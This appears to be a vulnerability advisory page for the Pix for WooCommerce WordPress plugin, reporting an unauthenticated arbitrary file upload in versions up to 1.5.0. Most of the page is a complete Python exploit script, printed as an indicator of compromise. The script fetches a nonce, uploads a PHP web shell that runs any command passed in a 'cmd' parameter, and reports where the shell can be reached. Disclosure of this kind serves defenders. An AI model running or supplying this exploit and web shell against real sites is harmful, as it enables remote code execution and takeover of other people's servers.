The Pix for WooCommerce plugin for WordPress is vulnerable to arbitrary file uploads due to missing capability check and missing file type validation in the 'lkn_pix_for_woocommerce_c6_save_settings' function in all versions up to, and including, 1.5.0. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.

AI Analysis

Indicators of Compromise

• exploit-code: # Exploit Title: WooCommerce 1.5.0 - Unauthenticated Arbitrary File Upload # Google Dork: N/A # Date: 2026-07-15 # Exploit Author: Mohammad Hossein Sadeghian # Vendor Homepage: https://wordpress.org/plugins/payment-gateway-pix-for-woocommerce/ # Software Link: https://wordpress.org/plugins/payment-gateway-pix-for-woocommerce/ # Version: <= 1.5.0 # Tested on: Ubuntu 22.04 LTS, Apache 2.4, PHP 8.2, WordPress 6.7 # CVE: CVE-2026-3891 import requests import sys def print_banner(): banner = r""" ____ __ _ __ __ / __ \________ ____ _____/ / / | / /__ / /_ / / / / ___/ _ \/ __ \/ __ / / |/ / _ \/ __/ / /_/ / / / __/ /_/ / /_/ / / /| / __/ /_ /_____/_/ \___/\__,_/\__,_/ /_/ |_/\___/\__/ Author: m4sh_wacker """ print(banner) def main(): print_banner() target = input("[?] Enter target URL: ").strip().rstrip("/") if not target.startswith(("http://", "https://")): target = "http://" + target ajax_url = f"{target}/wp-admin/admin-ajax.php" filename = "woocommerce.php" content = '<?php if(isset($_REQUEST["cmd"])){system($_REQUEST["cmd"]);} ?>' session = requests.Session() print("\n[*] Requesting nonce...") try: response = session.post( ajax_url, data={ "action": "lkn_pix_for_woocommerce_generate_nonce", "action_name": "lkn_pix_for_woocommerce_c6_settings_nonce" }, timeout=10 ) result = response.json() nonce = result["data"]["nonce"] print(f"[+] Nonce obtained: {nonce}") except Exception as e: print(f"[-] Failed to obtain nonce: {e}") sys.exit(1) print(f"[*] Uploading {filename}...") try: response = session.post( ajax_url, data={ "action": "lkn_pix_for_woocommerce_c6_save_settings", "_ajax_nonce": nonce }, files={ "certificate_crt_path": ( filename, content, "text/plain" ) }, timeout=10 ) result = response.json() if not result.get("success"): print("[-] Upload failed.") print(response.text) sys.exit(1) except Exception as e: print(f"[-] Upload error: {e}") sys.exit(1) uploaded_url = ( f"{target}/wp-content/plugins/" f"payment-gateway-pix-for-woocommerce/" f"Includes/files/certs_c6/{filename}" ) print("\n[+] File uploaded successfully!") print(f"[+] URL: {uploaded_url}") if __name__ == "__main__": main()